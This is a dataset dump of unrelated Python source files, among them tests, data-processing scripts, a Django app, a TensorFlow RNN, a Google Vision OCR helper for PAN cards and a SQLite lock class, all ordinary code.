requires_auth_decorator\n","sub_path":"auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237762434","text":"\"\"\"\n.. See the NOTICE file distributed with this work for additional information\n regarding copyright ownership.\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\n\nimport os.path\nimport os\nimport pytest # pylint: disable=unused-import\n\nfrom basic_modules.metadata import Metadata\nfrom tool.makeBaitmap import makeBaitmapTool\n\ndef test_makeBaitmap():\n \"\"\"\n Function to test the makeBaitmap tool. Tool that\n generate .baitmap files\n \"\"\"\n path = os.path.join(os.path.dirname(__file__), \"data/\")\n\n input_files = {\n \"genome_idx\" : path + \"test_makeBaitmap/chr21_hg19.fa\",\n \"probes_fa\" : path + \"test_makeBaitmap/baits.fa\",\n \"Rtree_files\" : path + \"test_makeRmap/rtree_file\"\n }\n\n output_files = {\n \"out_sam\" : path + \"test_makeBaitmap/baits.sam\",\n \"out_baitmap\" : path + \"test_runChicago/test.baitmap\"\n }\n\n input_metadata = {\n \"genome_digest\" : Metadata(\n \"hg38\", \"fasta\", path + \"test_makeRmap/chr21_hg19.fa\",\n None, \"HindIII\", 9606),\n\n \"probes\" : Metadata(\n \"C-HiC probes\", \"fasta\", path + \"test_makeBaitmap/baits.fa\",\n None, None, 9606),\n\n \"Rtree_files\" : Metadata(\n \"Rtree files\", [\".dat\", \".idx\"], path + \"test_makeRmap/rtree_file\",\n {\"genome\" : path + \"test_makeRmap/chr21_hg19.fa\",\n \"RE\" : {\"HindIII\" : 'A|AGCTT'}},\n None, 9606\n )\n }\n\n makeBaitmap_handler = makeBaitmapTool()\n makeBaitmap_handler.run(input_files, input_metadata, output_files)\n\n assert os.path.getsize(output_files[\"out_sam\"]) > 0\n assert os.path.getsize(output_files[\"out_baitmap\"]) > 0\n","sub_path":"tests/test_makeBaitmap.py","file_name":"test_makeBaitmap.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"275131808","text":"import json\nimport logging\nimport os\nimport threading\n\nfrom memcache.meta.client import Client\n\n\nlogger = logging.LoggerAdapter(logging.getLogger(\"montreal\"), {\"class\": os.path.basename(__file__)})\n\nclass SensorDataWriter (threading.Thread):\n def __init__(self, name, event, queue, config, prefix=\"json\"):\n threading.Thread.__init__(self)\n self.name = name\n self.event = event\n self.queue = queue\n self.prefix = prefix\n self.memcached = Client(config)\n logger.info(\"{} initialized successfully\".format(self.name))\n\n def run(self):\n logger.info(\"Started: {}\".format(self.name))\n while not self.event.is_set():\n self.event.wait(2)\n while not self.queue.empty():\n data = json.loads(self.queue.get().replace(\"'\", '\"'))\n keyvalue = \"{}{}{}{}\".format(self.prefix,\n data[\"device_id\"],\n data[\"type\"],\n str(data[\"sensor_id\"]))\n self.memcached.write(keyvalue, data)\n logger.info(\"Wrote data into memcache: {}\".format(keyvalue))\n logger.info(\"Stopped: {}\".format(self.name))\n","sub_path":"src/memcache/writer/sensor_data.py","file_name":"sensor_data.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237411985","text":"def binary_search(low, high, key, counter=0): #진짜 정답 생각\n \n if low>high:\n return False\n else:\n middle = (low + high)//2\n \n if key == middle:\n print(counter)\n return counter\n elif key < middle:\n counter += 1 \n return binary_search (low, middle-1, key, counter)\n elif key > middle:\n counter += 1\n return binary_search (middle+1, high, key, counter)\n \nT = int(input())\nfor test_case in range(1, T+1):\n P, A, B = map(int, input().split())\n A_counter = binary_search(1, P, A)\n B_counter = binary_search(1, P, B)\n if A_counter > B_counter:\n print('#'+str(test_case),'B')\n elif A_counter < B_counter:\n print('#'+str(test_case),'A')\n elif A_counter == B_counter:\n print('#'+str(test_case),'0')","sub_path":"2일차/삼성 sw test 7 이진탐색(내 정답).py","file_name":"삼성 sw test 7 이진탐색(내 정답).py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"465172898","text":"##############################################################\n#\n#\n#\tAuthor : Maha Yaqub (my1288)\n#\tDS GA 1007\n#\tFinal Project\n#\n#\tThis module cleans up the dataset with regard to agencies\n#\tThe function takes in the dataset and the agency name and then it selects the dataset based on the selected agency\n#\n#\n##############################################################\n\n\ndef AgencyData(dataset, agency):\n\n\t# Specify the agency that is being analyzed\n\tdataset = dataset[dataset['Agency']==agency]\n\n\t# Group the dataset by created date and borough \n\tgrouped = dataset.groupby(['Created Date', 'Agency'])\n\n\t# Unstack the dataset to get all the borough plots separately\n\tdataset = grouped.size().unstack()\n\n\treturn dataset","sub_path":"my1288_pd878_tl1759/AgencySeparation.py","file_name":"AgencySeparation.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"639084109","text":"import json\n\nfrom eth_utils import to_text\nimport pytest\nimport requests_mock\n\nfrom ethpm.backends.ipfs import (\n DummyIPFSBackend,\n InfuraIPFSBackend,\n IPFSGatewayBackend,\n LocalIPFSBackend,\n get_ipfs_backend,\n)\nfrom ethpm.constants import INFURA_GATEWAY_PREFIX, IPFS_GATEWAY_PREFIX\n\n\n@pytest.fixture\ndef fake_client():\n class FakeClient:\n def cat(self, ipfs_hash):\n return ipfs_hash\n\n return FakeClient()\n\n\n@pytest.mark.parametrize(\n \"base_uri,backend\",\n (\n (IPFS_GATEWAY_PREFIX, IPFSGatewayBackend()),\n (INFURA_GATEWAY_PREFIX, InfuraIPFSBackend()),\n ),\n)\ndef test_ipfs_and_infura_gateway_backends_fetch_uri_contents(\n base_uri, backend, safe_math_manifest\n):\n uri = \"ipfs://Qme4otpS88NV8yQi8TfTP89EsQC5bko3F5N1yhRoi6cwGV\"\n assert backend.base_uri == base_uri\n with requests_mock.Mocker() as m:\n m.get(requests_mock.ANY, text=json.dumps(safe_math_manifest))\n contents = backend.fetch_uri_contents(uri)\n contents_dict = json.loads(to_text(contents))\n assert contents_dict[\"package_name\"] == \"safe-math-lib\"\n\n\ndef test_local_ipfs_backend(monkeypatch, fake_client):\n uri = \"ipfs://Qme4otpS88NV8yQi8TfTP89EsQC5bko3F5N1yhRoi6cwGV\"\n backend = LocalIPFSBackend()\n backend.client = fake_client\n contents = backend.fetch_uri_contents(uri)\n assert contents.startswith(\"Qm\")\n\n\n@pytest.mark.parametrize(\n \"uri,expected\",\n (\n (\"ipfs:QmTKB75Y73zhNbD3Y73xeXGjYrZHmaXXNxoZqGCagu7r8u\", True),\n (\"ipfs:/QmTKB75Y73zhNbD3Y73xeXGjYrZHmaXXNxoZqGCagu7r8u\", True),\n (\"ipfs://QmTKB75Y73zhNbD3Y73xeXGjYrZHmaXXNxoZqGCagu7r8u\", True),\n (\"http://raw.githubusercontent.com/ethpm/py-ethpm#0x123\", False),\n (\"https://raw.githubusercontent.com/ethpm/py-ethpm#0x123\", False),\n (\n \"bzz://679bde3ccb6fb911db96a0ea1586c04899c6c0cc6d3426e9ee361137b270a463\",\n False,\n ),\n (\"ercxxx://packages.eth/owned?version=1.0.0\", False),\n ),\n)\ndef test_base_ipfs_gateway_backend_correctly_handle_uri_schemes(uri, expected):\n backend = IPFSGatewayBackend()\n assert backend.can_handle_uri(uri) is expected\n\n\ndef test_dummy_ipfs_backend():\n pkg = DummyIPFSBackend().fetch_uri_contents(\"safe-math-lib/1.0.0.json\")\n mnfst = to_text(pkg)\n manifest = json.loads(mnfst)\n assert manifest[\"package_name\"] == \"safe-math-lib\"\n\n\ndef test_get_ipfs_backend_default():\n backend = get_ipfs_backend()\n assert isinstance(backend, IPFSGatewayBackend)\n\n\ndef test_get_uri_backend_with_env_variable(monkeypatch):\n monkeypatch.setenv(\n \"ETHPM_IPFS_BACKEND_CLASS\", \"ethpm.backends.ipfs.DummyIPFSBackend\"\n )\n backend = get_ipfs_backend()\n assert isinstance(backend, DummyIPFSBackend)\n","sub_path":"tests/ethpm/backends/test_ipfs_backends.py","file_name":"test_ipfs_backends.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"341580145","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n Copyright (C) 2012-2018 Twitch-on-Kodi\n\n This file is part of Twitch-on-Kodi (plugin.video.twitch)\n\n SPDX-License-Identifier: GPL-3.0-only\n See LICENSES/GPL-3.0-only for more information.\n\"\"\"\nfrom ..addon import utils\nfrom ..addon.common import kodi\nfrom ..addon.constants import Keys, LINE_LENGTH, MODES, MAX_REQUESTS, REQUEST_LIMIT\nfrom ..addon.converter import JsonListItemConverter\nfrom ..addon.twitch_exceptions import NotFound\nfrom ..addon.utils import i18n\n\n\ndef route(api, community_id, offset=0):\n blacklist_filter = utils.BlacklistFilter()\n converter = JsonListItemConverter(LINE_LENGTH)\n utils.refresh_previews()\n kodi.set_view('videos', set_sort=True)\n per_page = utils.get_items_per_page()\n streams = None\n all_items = list()\n requests = 0\n while (per_page >= (len(all_items) + 1)) and (requests < MAX_REQUESTS):\n requests += 1\n languages = ','.join(utils.get_languages())\n streams = api.get_community_streams(community_id=community_id, offset=offset, limit=REQUEST_LIMIT, language=languages)\n if (streams[Keys.TOTAL] > 0) and (Keys.STREAMS in streams):\n filtered = \\\n blacklist_filter.by_type(streams, Keys.STREAMS, parent_keys=[Keys.CHANNEL], id_key=Keys._ID, list_type='user')\n # filtering by game causes excessive calls (game-centric communities)\n # filtered, _filtered_total, __discarded = \\\n # blacklist_filter.by_type(filtered, Keys.STREAMS, game_key=Keys.GAME, list_type='game')\n last = None\n for stream in filtered[Keys.STREAMS]:\n last = stream\n if per_page >= (len(all_items) + 1):\n add_item = last if last not in all_items else None\n if add_item:\n all_items.append(add_item)\n else:\n break\n offset = utils.get_offset(offset, last, streams[Keys.STREAMS])\n if (offset is None) or (streams[Keys.TOTAL] <= offset) or (streams[Keys.TOTAL] <= REQUEST_LIMIT):\n break\n else:\n break\n has_items = False\n if len(all_items) > 0:\n has_items = True\n for stream in all_items:\n kodi.create_item(converter.stream_to_listitem(stream))\n if streams[Keys.TOTAL] > (offset + 1):\n has_items = True\n kodi.create_item(utils.link_to_next_page({'mode': MODES.COMMUNITYSTREAMS, 'community_id': community_id, 'offset': offset}))\n if has_items:\n kodi.end_of_directory()\n return\n raise NotFound(i18n('streams'))\n","sub_path":"resources/lib/twitch_addon/routes/community_streams.py","file_name":"community_streams.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"257404176","text":"import z \nimport matplotlib.pyplot as plt\n\ndays = z.getp(\"dates\")\nnum_days = len(days)\nprint(\"num_days : {}\".format( num_days ))\nz.getCsv.savedReads = z.getp(\"allcsvs\")\nstocks = z.getStocks()\n\nayear = 252\nyears = 6\nduration = int (years * ayear)\n#problems = set()\n\ndef doit(month, day):\n# global problems\n idx = (month * 22) + day\n\n qdate = days[idx]\n edate = days[idx + duration]\n\n up, ups, down, downs, total, totals = 0,0,0,0,0,0\n\n for astock in stocks:\n df = z.getCsv(astock)\n try:\n dates = list(df[\"Date\"])\n except:\n# problems.add(astock)\n continue\n\n try:\n starti = dates.index(qdate)\n endi = dates.index(edate)\n except:\n# problems.add(astock)\n continue\n\n try:\n opened = df.at[starti, \"High\"]\n closed = df.at[endi, \"Low\"]\n change = closed / opened\n if change < 1:\n down += change\n downs += 1\n\n if change > 1:\n up += change\n ups += 1\n\n total += change\n totals += 1\n except:\n print(\"astock : {}\".format( astock ))\n continue\n\n return round(total/totals,3), round(up/ups,3), round(down/downs,3)\n\ndef doits(tlist, ulist, dlist, avg = None , end = None):\n lastmonth = int(((duration)/ayear)*12)\n montht = int((num_days/ayear)*12)-lastmonth-9\n ylist = range(1, montht)\n\n if type(avg) is not bool:\n if avg and end:\n ylist = ylist[avg: end]\n elif avg:\n ylist = ylist[-1*avg:]\n\n xlist = list()\n ts = list()\n ds = list()\n us = list()\n for month in ylist:\n for i in range(1,10,2):\n t,u,d = doit(month,i)\n ts.append(t)\n us.append(u)\n ds.append(d)\n\n if avg:\n tlist.append(round(sum(ts)/len(ts),3))\n ulist.append(round(sum(us)/len(us),3))\n dlist.append(round(sum(ds)/len(ds),3))\n\n plt.show()\n\ndef more_doits():\n global stocks\n# global problems\n ylist = [\"USMV\", \"IVV\", \"IUSG\", \"ITOT\", \"IUSG-IVV\", \"USMV/IUSG\", \"IUSG|USMV\"]\n tlist = list()\n ulist = list()\n dlist = list()\n for etf in ylist:\n print(\"etf : {}\".format( etf ))\n# problems = set()\n stocks = z.getStocks(etf, reset=True, simple = True)\n doits(tlist, ulist, dlist, avg = 4)\n\n plt.scatter(ylist, tlist, color=\"blue\")\n plt.scatter(ylist, ulist, color=\"green\")\n plt.scatter(ylist, dlist, color=\"red\")\n plt.show()\n\nmore_doits()\n","sub_path":"python/old/etf_ranking.py","file_name":"etf_ranking.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"192562214","text":"import os\nimport sys\nimport tensorflow as tf\nimport numpy as np\nimport collections\nfrom .create_word_vector import create_word_vecs\n\n\ndef next_batch(num, data, labels):\n idx = np.arange(0, len(data))\n np.random.shuffle(idx)\n idx = idx[:num]\n data_shuffle = [data[i] for i in idx]\n labels_shuffle = [labels[i] for i in idx]\n\n return np.asarray(data_shuffle), np.asarray(labels_shuffle)\n\n\ndef run(articles, articles_test):\n X_train, X_test, y_train, y_test = create_word_vecs(articles, articles_test)\n #X_train = np.expand_dims(X_train, axis=2)\n #X_test = np.expand_dims(X_test, axis=2)\n print('Text train shape: ', X_test.shape)\n print('Text test shape: ', X_test.shape)\n\n X_train = np.expand_dims(X_train, axis=1)\n X_test = np.expand_dims(X_test, axis=1)\n print('Text train shape: ', X_test.shape)\n print('Text test shape: ', X_test.shape)\n\n tf.reset_default_graph() # prevent bugs\n num_inputs = 300\n num_neurons = 150\n num_outputs = 1\n learning_rate = 0.0001\n num_train_iterations = 2000\n batch_size = 1\n\n # placeholders\n X = tf.placeholder(tf.float32, [None, 1, num_inputs])\n y = tf.placeholder(tf.float32, [1, 3])\n\n # RNN cell layer\n cell = tf.contrib.rnn.GRUCell(num_units=num_neurons, activation=tf.nn.relu)\n cell = tf.contrib.rnn.OutputProjectionWrapper(cell,\n output_size=num_outputs) # wrap the 100 neurons to 1 output cell\n\n # get output and states of basic rnn cells\n outputs, states = tf.nn.dynamic_rnn(cell, X, dtype=tf.float32)\n\n # loss func - MSE\n loss = tf.reduce_mean(tf.square(outputs - y))\n\n # optimize\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\n train = optimizer.minimize(loss)\n\n # init\n init = tf.global_variables_initializer()\n\n # session\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.85)\n saver = tf.train.Saver()\n with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess:\n sess.run(init)\n\n for it in range(num_train_iterations):\n X_batch, y_batch = next_batch(batch_size, X_train, y_train)\n sess.run(train, feed_dict= {X:X_batch, y:y_batch})\n\n if it % 100 == 0:\n mse = loss.eval(feed_dict={X:X_batch, y:y_batch})\n print(it, \"\\tMSE\", mse)\n saver.save(sess, './rnn_time_series_model_own')\n","sub_path":"Analyzer/lib/RNN/rnn_tensorflow.py","file_name":"rnn_tensorflow.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"28320087","text":"import os\nfrom os import path\nfrom urllib import urlretrieve\nimport tarfile\nimport cPickle as pickle\nimport numpy as np\n\nfrom keras.models import Sequential, Model\n\n\ndef maybe_download(url, filename):\n filepath = path.join('./data', filename)\n if not path.exists(filepath):\n urlretrieve(url, path.join('./data', filename))\n tar = tarfile.open(filepath, 'r:gz')\n tar.extractall('./data')\n tar.close()\n pass\n\n\ndef load_data(filename, as_list=False):\n file_path = path.join('./data/cifar-10-batches-py/', filename)\n f = open(file_path, 'r')\n dic = pickle.load(f)\n f.close()\n data = dic['data']\n labels = dic['labels']\n if as_list:\n return data, labels\n else:\n return np.array(data), np.array(labels)\n\n\ndef load_train():\n filenames = ['data_batch_{}'.format(n) for n in range(1, 6)]\n data = []\n labels = []\n for f in filenames:\n d, l = load_data(f, as_list=True)\n data.extend(d)\n labels.extend(l)\n\n return np.array(data), np.array(labels)\n\n\ndef predict(model, x_test, y_test):\n if isinstance(model, Sequential):\n predict_classes = model.predict_classes(x_test)\n else:\n predict_classes = model.predict(x_test)\n accuracy = [x == y for (x, y) in zip(predict_classes, y_test)]\n acc_rate = sum(i for i in accuracy if i) / float(len(y_test)) * 100\n print('accuracy:{}'.format(acc_rate))\n\n\nif __name__ == '__main__':\n url = 'https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz'\n filename = url.split('/')[-1]\n maybe_download(url, filename)\n","sub_path":"prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"495126487","text":"def main():\n A, B, X = map(int, input().split())\n ok, ng = 0, 10**9+1\n while abs(ng-ok) > 1:\n mid = (ok + ng) // 2\n if X < A*mid + B*len(str(mid)):\n ng = mid\n else:\n ok = mid\n print(ok)\n\nmain()","sub_path":"abc/abc146c.py","file_name":"abc146c.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"78053758","text":"import math\nimport numpy as np\n\n\n# Source reference: https://github.com/nathanrooy/spatial-analysis\n\ndef haversine_distance_vec(lat1: float, lon1: float, lat2: float, lon2: float):\n lon1, lat1, lon2, lat2 = map(np.radians, [lon1, lat1, lon2, lat2])\n\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n\n a = np.sin(dlat / 2.0) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon / 2.0) ** 2\n\n c = 2 * np.arcsin(np.sqrt(a))\n km = 6367 * c\n return km\n\n\ndef haversine_distance(coord1, coord2):\n lon1, lat1 = coord1\n lon2, lat2 = coord2\n\n R = 6371000 # radius of Earth in meters\n phi_1 = math.radians(lat1)\n phi_2 = math.radians(lat2)\n\n delta_phi = math.radians(lat2 - lat1)\n delta_lambda = math.radians(lon2 - lon1)\n\n a = math.sin(delta_phi / 2.0) ** 2 + \\\n math.cos(phi_1) * math.cos(phi_2) * \\\n math.sin(delta_lambda / 2.0) ** 2\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))\n\n meters = R * c # output distance in meters\n km = meters / 1000.0 # output distance in kilometers\n\n return km\n","sub_path":"weatherforecast/utils/haversine.py","file_name":"haversine.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"33059182","text":"import yaml\n\n# with open(\"demo.yml\",\"r\",encoding=\"utf-8\") as fp:\n# t=fp.read()\n# print(t)\n# print(type(t))\n#\n# #读取的是字符串,转换成dict\n#\n# a=yaml.load(t)\n# print(a)\n\n\n\n\nwith open(\"suppliers.yml\",\"r\",encoding=\"utf-8\") as fp:\n b= fp.read()\n# print(b)\n# print(type(b))\ny=yaml.load(b,Loader=yaml.FullLoader)\nprint(y)\n# x=yaml.load(b,Loader=yaml.FullLoader)\n# print(x)\n\n# fs=x['login_business']['username']\n# print(fs)\n# a=[2,3,4,6,22,3,22,5]\n# list = set(a)\n# print(list)\n\n# 一个文件只能是一个结构,一种对象类型\n\n\n\n\n\n\n\n\n","sub_path":"common/read_yaml.py","file_name":"read_yaml.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"291206560","text":"from django.shortcuts import render, HttpResponseRedirect\nfrom .models import ToDoList\nfrom .forms import CreateNewList\n\n\ndef index1(response, id):\n ls = ToDoList.objects.get(id=id)\n return render(response, 'twt/list.html', {\"ls\": ls})\n\n\ndef home(response):\n return render(response, 'twt/home.html', {})\n\n\ndef create(response):\n if response.method == \"POST\":\n form = CreateNewList(response.POST)\n if form.is_valid():\n n = form.cleaned_data[\"name\"]\n t = ToDoList(name=n)\n t.save()\n return HttpResponseRedirect(\"/%i\" % t.id)\n else:\n form = CreateNewList()\n return render(response, \"twt/create.html\", {\"form\": form})\n","sub_path":"twt/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"377347444","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.sql.schema import Column\nfrom sqlalchemy.sql.sqltypes import Boolean, DateTime, Integer, String\n\nBase = declarative_base()\n\nclass Todo(Base):\n\n __tablename__ = 'todos'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n title = Column(String(255), nullable=False, default='')\n status = Column(Integer, nullable=False)\n archived = Column(Boolean, default=False)\n completed = Column(DateTime)\n created = Column(DateTime, default=datetime.now)\n updated = Column(DateTime, default=datetime.now)\n\n\n def __repr__(self):\n return '<#Todo %s:%s>' % (self.id, self.title)\n\n\n def to_serializable(self):\n\n rv = dict(\n id=self.id,\n title=self.title,\n status=self.status,\n archived=self.archived,\n completed=self.completed and \\\n self.completed.strftime('%Y-%m-%d %H:%M:%S'),\n created=self.created.strftime('%Y-%m-%d %H:%M:%S'),\n updated=self.updated.strftime('%Y-%m-%d %H:%M:%S')\n )\n return rv\n\n\nclass SubTask(Base):\n\n __tablename__ = 'subtasks'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n todo_id = Column(Integer, primary_key=True, autoincrement=True)\n title = Column(String(255), nullable=False, default='')\n status = Column(Integer, nullable=False)\n archived = Column(Boolean, default=False)\n completed = Column(DateTime)\n created = Column(DateTime, default=datetime.now)\n updated = Column(DateTime, default=datetime.now)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"15626174","text":"def seasons(a):\n\n s_dict = {\n (12,1,2): \"winter\",\n (3,4,5): \"spring\",\n (6,7,8): \"summer\",\n (9,10,11): \"autum\"\n }\n\n for k, v in s_dict.items():\n if a in k:\n print(v)\n\nif __name__ == \"__main__\":\n seasons(12)\n seasons(5)\n seasons(9)\n seasons(6)\n\n","sub_path":"s.semeniuk/dz3/dz3_def1.py","file_name":"dz3_def1.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"123592441","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jun 16 17:27:15 2019\r\n\r\n@author: Jiwitesh\r\n\"\"\"\r\n#This file has request-response module to get PAN images from user\r\n#and convert to JSON using google VISION API response\r\n\r\nimport numpy as np\r\nimport cv2\r\nfrom PIL import Image\r\nimport requests\r\nimport base64\r\nimport re\r\nimport PIL.ImageOps\r\nimport os\r\nimport pandas as pd\r\nfrom scipy.ndimage.interpolation import zoom\r\nimport json\r\nfrom PIL import ImageEnhance\r\nimport time\r\nfrom pdf2image import convert_from_path\r\nimport collections\r\nimport io\r\n\r\n##CALLING OCR API\r\ndef detect_image_text(image):\r\n# url = 'https://vision.googleapis.com/v1/images:annotate?key=xxxxxxxxx2e32e3242dasdfadxxxxxxxxxx'\r\n# provide the key below to access google vision api\r\n url = 'https://vision.googleapis.com/v1/images:annotate?key='\r\n res = []\r\n img_base64 = base64.b64encode(image)\r\n ig = str(img_base64)\r\n ik=ig.replace('b\\'','')\r\n headers={'content-type': 'application/json'}\r\n data =\"\"\"{\r\n \"requests\": [\r\n {\r\n \"image\": {\r\n \"content\": '\"\"\"+ik[:-1]+\"\"\"'\r\n\r\n },\r\n\r\n \"features\": [\r\n {\r\n \"type\": \"DOCUMENT_TEXT_DETECTION\"\r\n }\r\n ]\r\n }\r\n ]\r\n }\"\"\"\r\n r = requests.post(url, headers=headers,data=data)\r\n result = json.loads(r.text)\r\n return(result)\r\n\r\n\r\ndef frequency_ocr1(r):\r\n try:\r\n r['responses'][0]['textAnnotations'][1:]\r\n except:\r\n return('0')\r\n\r\n word_infos = []\r\n for i, number in enumerate(r['responses'][0]['textAnnotations']):\r\n dic = dict()\r\n rect = r['responses'][0]['textAnnotations'][i]['boundingPoly']['vertices']\r\n text = r['responses'][0]['textAnnotations'][i]['description']\r\n pt1 = []\r\n pt2 = []\r\n try:\r\n pt1 = [rect[0]['x'], rect[0]['y']]\r\n pt2 = [rect[2]['x'], rect[2]['y']]\r\n except:\r\n continue\r\n dic['boundingBox_list'] = pt1 + pt2\r\n pt1.extend([-pt1[0] + pt2[0], -pt1[1] + pt2[1]])\r\n #str(round(pt1))\r\n dic['boundingBox'] = ', '.join(repr(e) for e in pt1)\r\n dic['text'] = text\r\n word_infos.append(dic)\r\n word_info = word_infos[1:len(word_infos)]\r\n urls = []\r\n urlls=[]\r\n box_cordinate_list = []\r\n ##########extract only text and boundingbox from dict\r\n for i in range(len(word_info)):\r\n box_cordinate_list.append(word_info[i]['boundingBox_list'])\r\n urls.append(word_info[i]['text'])\r\n urlls.append(word_info[i]['boundingBox'])\r\n\r\n df = pd.DataFrame({'Rows':urls, 'Co-ordinates':urlls})\r\n df = pd.concat([df['Rows'],df['Co-ordinates'].str.split(\",\",expand= True)],axis =1)\r\n df.columns = ['Rows21','X','Y','Xh','Yk']\r\n df[['X','Y','Xh','Yk']] = df[['X','Y','Xh','Yk']].apply(pd.to_numeric)\r\n df['Xh'] = df['X'] + df['Xh']\r\n df['Yk'] = df['Y'] + df['Yk']\r\n return(df)\r\n\r\n# To be changed according to the images location\r\n\r\n#os.chdir(r'C:\\Users\\Dell\\Desktop\\Acadgild\\project\\ocr\\Images_and_output\\Query_Images')\r\n#path = r'C:\\Users\\Dell\\Desktop\\Acadgild\\project\\ocr\\Images_and_output\\Query_Images'\r\n\r\n\r\ndef pan_number(df):\r\n pan = \"\"\r\n for i in range(0,len(df)):\r\n text = df.iloc[i]['Rows21']\r\n if(re.search(\"[A-Z]{5}[0-9]{4}[A-Z]\",text)):\r\n pan = text\r\n return pan\r\n pan = \"not readable\"\r\n return pan\r\n\r\ndef personName(df):\r\n personName = \"\"\r\n for i in range(0,len(df)):\r\n text = df.iloc[5]['Rows21']\r\n if(re.search(\"[A-Z]\",text)):\r\n personName = text\r\n text2 = df.iloc[6]['Rows21']\r\n if (re.search(\"[A-Z]\",text2)):\r\n personName = personName +\" \"+text2\r\n\r\n return personName\r\n personName = \"not readable\"\r\n return personName\r\n\r\n# to covert tif image to jpg\r\n#from PIL import Image\r\n#im = Image.open(r\"C:\\Users\\Dell\\Desktop\\Acadgild\\project\\ocr\\Images_and_output\\Query_Images\\000080.tif\")\r\n#im.save(r\"C:\\Users\\Dell\\Desktop\\Acadgild\\project\\ocr\\Images_and_output\\Query_Images\\000080.jpg\", dpi=(600,600) )\r\n\r\n\r\n# Below code works well only for single image for which name is given and written considering a PAN card\r\ndef readIdText(filename):\r\n filename = 'img6.jpg'\r\n new_file_name = filename\r\n image_bytes = open(new_file_name,'rb')\r\n image_bytes = image_bytes.read()\r\n image = np.array(Image.open(io.BytesIO(image_bytes)))\r\n image_bytes = cv2.imencode('.jpg',image)[1].tostring()\r\n response = detect_image_text(image_bytes)\r\n df = frequency_ocr1(response)\r\n return df\r\n\r\n","sub_path":"OCRModule.py","file_name":"OCRModule.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"89118737","text":"#! /usr/bin/python3\n# cleanPersoanl - scrub personal information from credit cards.\n\nimport pyperclip, re\n\ncreditRegex = re.compile(r'\\b\\d{13,16}\\b')\n\ntext = str(pyperclip.paste())\nmatches = []\nfor groups in creditRegex.findall(text):\n matches.append(groups)\n\ntext = '\\n'.join(matches)\nmatches = []\n\nfor groups in creditRegex.sub('************', text):\n matches.append(groups)\n\nif len(matches) > 0:\n pyperclip.copy(''.join(matches))\n print('Copied to the clipboard')\n print(''.join(matches))\n\n","sub_path":"cleanPersonal.py","file_name":"cleanPersonal.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"334797006","text":"import os\nimport sqlite3\nfrom time import sleep\n\n\ndef get_db(db_file):\n db = sqlite3.connect(\n str(db_file), detect_types=sqlite3.PARSE_DECLTYPES)\n db.row_factory = sqlite3.Row\n return db\n\n\ndef release_all_locks(db_file):\n db = get_db(db_file)\n db.execute('DELETE FROM locks;')\n db.close()\n\n\nclass SQLiteLock():\n def __init__(self, db_file, lock_name=\"global\", blocking=False,\n timeout=30, polling_rate=0.4):\n self.db_file = db_file\n self.lock_name = lock_name\n self.lock_acquired = False\n self.acquire(blocking=blocking, timeout=timeout,\n polling_rate=polling_rate)\n\n def acquire(self, 